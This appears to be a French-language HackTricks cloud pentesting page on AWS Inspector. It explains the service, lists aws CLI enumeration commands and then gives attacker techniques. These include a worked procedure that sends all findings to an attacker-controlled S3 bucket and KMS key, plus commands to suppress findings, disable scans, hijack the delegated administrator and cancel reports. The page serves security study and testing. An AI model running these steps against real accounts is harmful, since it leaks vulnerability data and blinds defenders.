AWS - Inspector Enum

AWS - Inspector Enum

Support HackTricks

Inspector

Amazon Inspector est un service avancé et automatisé de gestion des vulnérabilités conçu pour améliorer la sécurité de votre environnement AWS. Ce service scanne en continu les instances Amazon EC2, les images de conteneurs dans Amazon ECR, Amazon ECS et les fonctions AWS Lambda à la recherche de vulnérabilités et d'expositions réseau non intentionnelles. En s'appuyant sur une base de données d'intelligence sur les vulnérabilités robuste, Amazon Inspector fournit des résultats détaillés, y compris des niveaux de gravité et des recommandations de remédiation, aidant les organisations à identifier et à traiter proactivement les risques de sécurité. Cette approche complète garantit une posture de sécurité renforcée à travers divers services AWS, aidant à la conformité et à la gestion des risques.

Key elements

Findings

Les findings dans Amazon Inspector sont des rapports détaillés sur les vulnérabilités et les expositions découvertes lors du scan des instances EC2, des dépôts ECR ou des fonctions Lambda. En fonction de son état, les findings sont classés comme suit :

  • Actif : Le finding n'a pas été remédié.

  • Fermé : Le finding a été remédié.

  • Supprimé : Le finding a été marqué avec cet état en raison d'une ou plusieurs règles de suppression.

Les findings sont également classés en trois types :

  • Package : Ces findings concernent les vulnérabilités dans les packages logiciels installés sur vos ressources. Des exemples incluent des bibliothèques obsolètes ou des dépendances avec des problèmes de sécurité connus.

  • Code : Cette catégorie inclut les vulnérabilités trouvées dans le code des applications fonctionnant sur vos ressources AWS. Les problèmes courants sont des erreurs de codage ou des pratiques non sécurisées qui pourraient entraîner des violations de sécurité.

  • Réseau : Les findings réseau identifient les expositions potentielles dans les configurations réseau qui pourraient être exploitées par des attaquants. Cela inclut des ports ouverts, des protocoles réseau non sécurisés et des groupes de sécurité mal configurés.

Filters and Suppression Rules

Les filtres et les règles de suppression dans Amazon Inspector aident à gérer et à prioriser les findings. Les filtres vous permettent de raffiner les findings en fonction de critères spécifiques, tels que la gravité ou le type de ressource. Les règles de suppression vous permettent de supprimer certains findings considérés comme à faible risque, déjà atténués, ou pour toute autre raison importante, empêchant ainsi leur surcharge dans vos rapports de sécurité et vous permettant de vous concentrer sur des problèmes plus critiques.

Software Bill of Materials (SBOM)

Un Software Bill of Materials (SBOM) dans Amazon Inspector est une liste d'inventaire imbriquée exportable détaillant tous les composants d'un package logiciel, y compris les bibliothèques et les dépendances. Les SBOM aident à fournir de la transparence dans la chaîne d'approvisionnement logicielle, permettant une meilleure gestion des vulnérabilités et conformité. Ils sont cruciaux pour identifier et atténuer les risques associés aux composants logiciels open source et tiers.

Key features

Export findings

Amazon Inspector offre la possibilité d'exporter des findings vers des Amazon S3 Buckets, Amazon EventBridge et AWS Security Hub, ce qui vous permet de générer des rapports détaillés des vulnérabilités et expositions identifiées pour une analyse ou un partage ultérieur à une date et heure spécifiques. Cette fonctionnalité prend en charge divers formats de sortie tels que CSV et JSON, facilitant l'intégration avec d'autres outils et systèmes. La fonctionnalité d'exportation permet de personnaliser les données incluses dans les rapports, vous permettant de filtrer les findings en fonction de critères spécifiques tels que la gravité, le type de ressource ou la plage de dates, et incluant par défaut tous vos findings dans la région AWS actuelle avec un statut Actif.

Lors de l'exportation des findings, une clé de service de gestion des clés (KMS) est nécessaire pour chiffrer les données lors de l'exportation. Les clés KMS garantissent que les findings exportés sont protégés contre tout accès non autorisé, fournissant une couche de sécurité supplémentaire pour les informations sensibles sur les vulnérabilités.

Amazon EC2 instances scanning

Amazon Inspector offre des capacités de scan robustes pour les instances Amazon EC2 afin de détecter les vulnérabilités et les problèmes de sécurité. Inspector compare les métadonnées extraites de l'instance EC2 avec des règles provenant d'avis de sécurité afin de produire des vulnérabilités de package et des problèmes de connectivité réseau. Ces scans peuvent être effectués par des méthodes basées sur un agent ou sans agent, selon la configuration des paramètres de mode de scan de votre compte.

  • Basé sur un agent : Utilise l'agent AWS Systems Manager (SSM) pour effectuer des scans approfondis. Cette méthode permet une collecte et une analyse de données complètes directement depuis l'instance.

  • Sans agent : Fournit une alternative légère qui ne nécessite pas l'installation d'un agent sur l'instance, créant un instantané EBS de chaque volume de l'instance EC2, recherchant des vulnérabilités, puis le supprimant ; tirant parti de l'infrastructure AWS existante pour le scan.

Le mode de scan détermine quelle méthode sera utilisée pour effectuer les scans EC2 :

  • Basé sur un agent : Implique l'installation de l'agent SSM sur les instances EC2 pour une inspection approfondie.

  • Scan hybride : Combine les méthodes basées sur un agent et sans agent pour maximiser la couverture et minimiser l'impact sur les performances. Dans les instances EC2 où l'agent SSM est installé, Inspector effectuera un scan basé sur un agent, et pour celles où il n'y a pas d'agent SSM, le scan effectué sera sans agent.

Une autre fonctionnalité importante est l'inspection approfondie pour les instances Linux EC2. Cette fonctionnalité offre une analyse approfondie du logiciel et de la configuration des instances Linux EC2, fournissant des évaluations détaillées des vulnérabilités, y compris les vulnérabilités du système d'exploitation, les vulnérabilités des applications et les mauvaises configurations, garantissant une évaluation complète de la sécurité. Cela est réalisé par l'inspection des chemins personnalisés et de tous ses sous-répertoires. Par défaut, Amazon Inspector scannera les éléments suivants, mais chaque compte membre peut définir jusqu'à 5 chemins personnalisés supplémentaires, et chaque administrateur délégué jusqu'à 10 :

  • /usr/lib

  • /usr/lib64

  • /usr/local/lib

  • /usr/local/lib64

Amazon ECR container images scanning

Amazon Inspector fournit des capacités de scan robustes pour les images de conteneurs Amazon Elastic Container Registry (ECR), garantissant que les vulnérabilités de package sont détectées et gérées efficacement.

  • Scan de base : Il s'agit d'un scan rapide et léger qui identifie les vulnérabilités connues des packages OS dans les images de conteneurs en utilisant un ensemble standard de règles du projet open-source Clair. Avec cette configuration de scan, vos dépôts seront scannés lors de la poussée ou en effectuant des scans manuels.

  • Scan amélioré : Cette option ajoute la fonctionnalité de scan continu en plus du scan lors de la poussée. Le scan amélioré plonge plus profondément dans les couches de chaque image de conteneur pour identifier les vulnérabilités dans les packages OS et dans les packages de langages de programmation avec une précision accrue. Il analyse à la fois l'image de base et toutes les couches supplémentaires, fournissant une vue complète des problèmes de sécurité potentiels.

Amazon Lambda functions scanning

Amazon Inspector inclut des capacités de scan complètes pour les fonctions AWS Lambda et ses couches, garantissant la sécurité et l'intégrité des applications sans serveur. Inspector propose deux types de scan pour les fonctions Lambda :

  • Scan standard Lambda : Cette fonctionnalité par défaut identifie les vulnérabilités logicielles dans les dépendances du package d'application ajoutées à votre fonction Lambda et à ses couches. Par exemple, si votre fonction utilise une version d'une bibliothèque comme python-jwt avec une vulnérabilité connue, elle génère un finding.

  • Scan de code Lambda : Analyse le code d'application personnalisé à la recherche de problèmes de sécurité, détectant des vulnérabilités telles que des failles d'injection, des fuites de données, une cryptographie faible et un manque de chiffrement. Il capture des extraits de code mettant en évidence les vulnérabilités détectées, telles que des identifiants codés en dur. Les findings incluent des suggestions de remédiation détaillées et des extraits de code pour corriger les problèmes.

Center for Internet Security (CIS) scans

Amazon Inspector inclut des scans CIS pour évaluer les systèmes d'exploitation des instances Amazon EC2 par rapport aux recommandations des meilleures pratiques du Center for Internet Security (CIS). Ces scans garantissent que les configurations respectent les normes de sécurité de l'industrie.

  • Configuration : Les scans CIS évaluent si les configurations système répondent à des recommandations spécifiques du CIS Benchmark, chaque vérification étant liée à un ID de vérification et un titre CIS.

  • Exécution : Les scans sont effectués ou programmés en fonction des balises d'instance et des horaires définis.

  • Résultats : Les résultats post-scan indiquent quelles vérifications ont réussi, été ignorées ou échouées, fournissant un aperçu de la posture de sécurité de chaque instance.

Enumeration

# Administrator and member accounts #

## Retrieve information about the AWS Inpsector delegated administrator for your organization (ReadOnlyAccess policy is enough for this)
aws inspector2 get-delegated-admin-account

## List the members who are associated with the AWS Inspector administrator account (ReadOnlyAccess policy is enough for this)
aws inspector2 list-members [--only-associated | --no-only-associated]
## Retrieve information about a member account (ReadOnlyAccess policy is enough for this)
aws inspector2 get-member --account-id <value>
## Retrieve the status of AWS accounts within your environment (ReadOnlyAccess policy is enough for this)
aws inspector2 batch-get-account-status [--account-ids <value>]
## Retrieve the free trial status for the specified accounts (ReadOnlyAccess policy is enough for this)
aws inspector2 batch-get-free-trial-info --account-ids <value>
## Retrieve the EC2 Deep Inspection status for the member accounts (Requires to be the delegated administrator)
aws inspector2 batch-get-member-ec2-deep-inspection-status [--account-ids <value>]

## List an account's permissions associated with AWS Inspector
aws inspector2 list-account-permissions

# Findings #

## List a subset of information of the findings for your envionment (ReadOnlyAccess policy is enough for this)
aws inspector2 list-findings
## Retrieve vulnerability intelligence details for the specified findings
aws inspector2 batch-get-finding-details --finding-arns <value>
## List statistical and aggregated finding data (ReadOnlyAccess policy is enough for this)
aws inspector2 list-finding-aggregations --aggregation-type <FINDING_TYPE | PACKAGE | TITLE | REPOSITORY | AMI | AWS_EC2_INSTANCE | AWS_ECR_CONTAINER | IMAGE_LAYER\
| ACCOUNT AWS_LAMBDA_FUNCTION | LAMBDA_LAYER> [--account-ids <value>]
## Retrieve code snippet information about one or more specified code vulnerability findings
aws inspector2 batch-get-code-snippet --finding-arns <value>
## Retrieve the status for the specified findings report (ReadOnlyAccess policy is enough for this)
aws inspector2 get-findings-report-status --report-id <value>

# CIS #

## List CIS scan configurations (ReadOnlyAccess policy is enough for this)
aws inspector2 list-cis-scan-configurations
## List the completed CIS scans (ReadOnlyAccess policy is enough for this)
aws inspector2 list-cis-scans
## Retrieve a report from a completed CIS scan
aws inspector2 get-cis-scan-report --scan-arn <value> [--target-accounts <value>]
## Retrieve details about the specific CIS scan over the specified resource
aws inspector2 get-cis-scan-result-details --account-id <value> --scan-arn <value> --target-resource-id <value>
## List CIS scan results broken down by check
aws inspector2 list-cis-scan-results-aggregated-by-checks --scan-arn <value>
## List CIS scan results broken down by target resource
aws inspector2 list-cis-scan-results-aggregated-by-target-resource --scan-arn <value>

# Configuration #

## Describe AWS Inspector settings for AWS Organization (ReadOnlyAccess policy is enough for this)
aws inspector2 describe-organization-configuration
## Retrieve the configuration settings about EC2 scan and ECR re-scan
aws inspector2 get-configuration
## Retrieve EC2 Deep Inspection configuration associated with your account
aws inspector2 get-ec2-deep-inspection-configuration

# Miscellaneous #

## Retrieve the details of a Software Bill of Materials (SBOM) report
aws inspector2 get-sbom-export --report-id <value>

## Retrieve the coverage details for the specified vulnerabilities
aws inspector2 search-vulnerabilities --filter-criteria <vulnerabilityIds=id1,id2..>

## Retrieve the tags attached to the specified resource
aws inspector2 list-tags-for-resource --resource-arn <value>

## Retrieve the AWS KMS key used to encrypt the specified code snippets
aws inspector2 get-encryption-key --resource-type <AWS_EC2_INSTANCE | AWS_ECR_CONTAINER_IMAGE | AWS_ECR_REPOSITORY | AWS_LAMBDA_FUNCTION> --scan-type <NETWORK | PACKAGE | CODE>

## List the filters associated to your AWS account
aws inspector2 list-filters

## List the types of statistics AWS Inspector can generate (ReadOnlyAccess policy is enough for this)
aws inspector2 list-coverage
## Retrieve statistical data and about the resources AWS Inspector monitors (ReadOnlyAccess policy is enough for this)
aws inspector2 list-coverage-statistics

## List the aggregated usage total over the last 30 days
aws inspector2 list-usage-totals [--account-ids <value>]

### INSPECTOR CLASSIC ###

## Assessments info, there is a "describe" action for each one to get more info
aws inspector list-assessment-runs
aws inspector list-assessment-targets
aws inspector list-assessment-templates
aws inspector list-event-subscriptions

## Get findings
aws inspector list-findings

## Get exclusions
aws inspector list-exclusions --assessment-run-arn <arn>

## Rule packages
aws inspector list-rules-packages

Post Exploitation

Du point de vue d'un attaquant, ce service peut aider l'attaquant à trouver des vulnérabilités et des expositions réseau qui pourraient l'aider à compromettre d'autres instances/conteneurs.

Cependant, un attaquant pourrait également être intéressé à perturber ce service afin que la victime ne puisse pas voir les vulnérabilités (toutes ou spécifiques).

inspector2:CreateFindingsReport, inspector2:CreateSBOMReport

Un attaquant pourrait générer des rapports détaillés sur les vulnérabilités ou les factures de matériaux logiciels (SBOM) et les exfiltrer de votre environnement AWS. Ces informations pourraient être exploitées pour identifier des faiblesses spécifiques, des logiciels obsolètes ou des dépendances non sécurisées, permettant des attaques ciblées.

# Findings report
aws inspector2 create-findings-report --report-format <CSV | JSON> --s3-destination <bucketName=string,keyPrefix=string,kmsKeyArn=string> [--filter-criteria <value>]
# SBOM report
aws inspector2 create-sbom-report --report-format <CYCLONEDX_1_4 | SPDX_2_3> --s3-destination <bucketName=string,keyPrefix=string,kmsKeyArn=string> [--resource-filter-criteria <value>]

L'exemple suivant montre comment exfiltrer toutes les constatations actives d'Amazon Inspector vers un seau Amazon S3 contrôlé par l'attaquant avec une clé Amazon KMS contrôlée par l'attaquant :

  1. Créer un seau Amazon S3 et attacher une politique à celui-ci afin qu'il soit accessible depuis la victime Amazon Inspector :

{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "allow-inspector",
"Effect": "Allow",
"Principal": {
"Service": "inspector2.amazonaws.com"
},
"Action": [
"s3:PutObject",
"s3:PutObjectAcl",
"s3:AbortMultipartUpload"
],
"Resource": "arn:aws:s3:::inspector-findings/*",
"Condition": {
"StringEquals": {
"aws:SourceAccount": "<victim-account-id>"
},
"ArnLike": {
"aws:SourceArn": "arn:aws:inspector2:us-east-1:<victim-account-id>:report/*"
}
}
}
]
}
  1. Créer une clé Amazon KMS et attacher une politique à celle-ci afin qu'elle soit utilisable par l'Amazon Inspector de la victime :

{
"Version": "2012-10-17",
"Id": "key-policy",
"Statement": [
{
...
},
{
"Sid": "Allow victim Amazon Inspector to use the key",
"Effect": "Allow",
"Principal": {
"Service": "inspector2.amazonaws.com"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*",
"Condition": {
"StringEquals": {
"aws:SourceAccount": "<victim-account-id>"
}
}
}
]
}
  1. Exécutez la commande pour créer le rapport de résultats en l'exfiltrant :

aws --region us-east-1 inspector2 create-findings-report --report-format CSV --s3-destination bucketName=<attacker-bucket-name>,keyPrefix=exfiltration_,kmsKeyArn=arn:aws:kms:us-east-1:123456789012:key/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f
  • Impact potentiel : Génération et exfiltration de rapports détaillés sur les vulnérabilités et les logiciels, obtenant des informations sur des vulnérabilités spécifiques et des faiblesses de sécurité.

inspector2:CancelFindingsReport, inspector2:CancelSbomExport

Un attaquant pourrait annuler la génération du rapport de constatations spécifié ou du rapport SBOM, empêchant les équipes de sécurité de recevoir des informations en temps utile sur les vulnérabilités et les factures de matériaux logiciels (SBOM), retardant la détection et la remédiation des problèmes de sécurité.

# Cancel findings report generation
aws inspector2 cancel-findings-report --report-id <value>
# Cancel SBOM report generatiom
aws inspector2 cancel-sbom-export --report-id <value>
  • Impact potentiel : Perturbation de la surveillance de la sécurité et prévention de la détection et de la remédiation en temps opportun des problèmes de sécurité.

inspector2:CreateFilter, inspector2:UpdateFilter, inspector2:DeleteFilter

Un attaquant disposant de ces autorisations pourrait manipuler les règles de filtrage qui déterminent quelles vulnérabilités et problèmes de sécurité sont signalés ou supprimés (si l'action est définie sur SUPPRESS, une règle de suppression serait créée). Cela pourrait cacher des vulnérabilités critiques aux administrateurs de la sécurité, facilitant l'exploitation de ces faiblesses sans détection. En modifiant ou en supprimant des filtres importants, un attaquant pourrait également créer du bruit en inondant le système de résultats non pertinents, entravant ainsi la surveillance et la réponse efficaces en matière de sécurité.

# Create
aws inspector2 create-filter --action <NONE | SUPPRESS> --filter-criteria <value> --name <value> [--reason <value>]
# Update
aws inspector2 update-filter --filter-arn <value> [--action <NONE | SUPPRESS>] [--filter-criteria <value>] [--reason <value>]
# Delete
aws inspector2 delete-filter --arn <value>
  • Impact potentiel : Dissimulation ou suppression de vulnérabilités critiques, ou inondation du système avec des résultats non pertinents.

inspector2:DisableDelegatedAdminAccount, (inspector2:EnableDelegatedAdminAccount & organizations:ListDelegatedAdministrators & organizations:EnableAWSServiceAccess & iam:CreateServiceLinkedRole)

Un attaquant pourrait perturber de manière significative la structure de gestion de la sécurité.

  • En désactivant le compte administrateur délégué, l'attaquant pourrait empêcher l'équipe de sécurité d'accéder et de gérer les paramètres et rapports d'Amazon Inspector.

  • L'activation d'un compte administrateur non autorisé permettrait à un attaquant de contrôler les configurations de sécurité, potentiellement en désactivant les analyses ou en modifiant les paramètres pour cacher des activités malveillantes.

Il est nécessaire que le compte non autorisé soit dans la même Organisation que la victime pour devenir l'administrateur délégué.

Pour que le compte non autorisé devienne l'administrateur délégué, il est également nécessaire qu'après la désactivation de l'administrateur délégué légitime, et avant que le compte non autorisé soit activé en tant qu'administrateur délégué, l'administrateur légitime doit être désenregistré en tant qu'administrateur délégué de l'organisation. Cela peut être fait avec la commande suivante (organizations:DeregisterDelegatedAdministrator permission requise) : aws organizations deregister-delegated-administrator --account-id <legit-account-id> --service-principal [inspector2.amazonaws.com](http://inspector2.amazonaws.com/)

# Disable
aws inspector2 disable-delegated-admin-account --delegated-admin-account-id <value>
# Enable
aws inspector2 enable-delegated-admin-account --delegated-admin-account-id <value>
  • Impact potentiel : Perturbation de la gestion de la sécurité.

inspector2:AssociateMember, inspector2:DisassociateMember

Un attaquant pourrait manipuler l'association des comptes membres au sein d'une organisation Amazon Inspector. En associant des comptes non autorisés ou en désassociant des comptes légitimes, un attaquant pourrait contrôler quels comptes sont inclus dans les analyses de sécurité et les rapports. Cela pourrait entraîner l'exclusion de comptes critiques de la surveillance de la sécurité, permettant à l'attaquant d'exploiter des vulnérabilités dans ces comptes sans détection.

Cette action doit être effectuée par l'administrateur délégué.

# Associate
aws inspector2 associate-member --account-id <value>
# Disassociate
aws inspector2 disassociate-member --account-id <value>
  • Impact potentiel : Exclusion de comptes clés des analyses de sécurité, permettant l'exploitation non détectée des vulnérabilités.

inspector2:Disable, (inspector2:Enable & iam:CreateServiceLinkedRole)

Un attaquant avec la permission inspector2:Disable serait capable de désactiver les analyses de sécurité sur des types de ressources spécifiques (EC2, ECR, Lambda, code Lambda) pour les comptes spécifiés, laissant des parties de l'environnement AWS non surveillées et vulnérables aux attaques. De plus, grâce aux permissions inspector2:Enable & iam:CreateServiceLinkedRole, un attaquant pourrait alors réactiver les analyses de manière sélective pour éviter la détection de configurations suspectes.

Cette action doit être effectuée par l'administrateur délégué.

# Disable
aws inspector2 disable --account-ids <value> [--resource-types <{EC2, ECR, LAMBDA, LAMBDA_CODE}>]
# Enable
aws inspector2 enable --resource-types <{EC2, ECR, LAMBDA, LAMBDA_CODE}> [--account-ids <value>]
  • Impact potentiel : Création de zones d'ombre dans la surveillance de la sécurité.

inspector2:UpdateOrganizationConfiguration

Un attaquant disposant de cette autorisation pourrait mettre à jour les configurations de votre organisation Amazon Inspector, affectant les fonctionnalités de scan par défaut activées pour les nouveaux comptes membres.

Cette action doit être effectuée par l'administrateur délégué.

aws inspector2 update-organization-configuration --auto-enable <ec2=true|false,ecr=true|false,lambda=true|false,lambdaCode=true|false>
  • Impact potentiel : Modifier les politiques et configurations de scan de sécurité pour l'organisation.

inspector2:TagResource, inspector2:UntagResource

Un attaquant pourrait manipuler les balises sur les ressources AWS Inspector, qui sont essentielles pour organiser, suivre et automatiser les évaluations de sécurité. En modifiant ou en supprimant des balises, un attaquant pourrait potentiellement cacher des vulnérabilités des scans de sécurité, perturber les rapports de conformité et interférer avec les processus de remédiation automatisés, entraînant des problèmes de sécurité non contrôlés et une intégrité du système compromise.

aws inspector2 tag-resource --resource-arn <value> --tags <value>
aws inspector2 untag-resource --resource-arn <value> --tag-keys <value>
  • Impact potentiel : Cacher des vulnérabilités, perturber les rapports de conformité, perturber l'automatisation de la sécurité et perturber l'allocation des coûts.

Références

Soutenir HackTricks

Last updated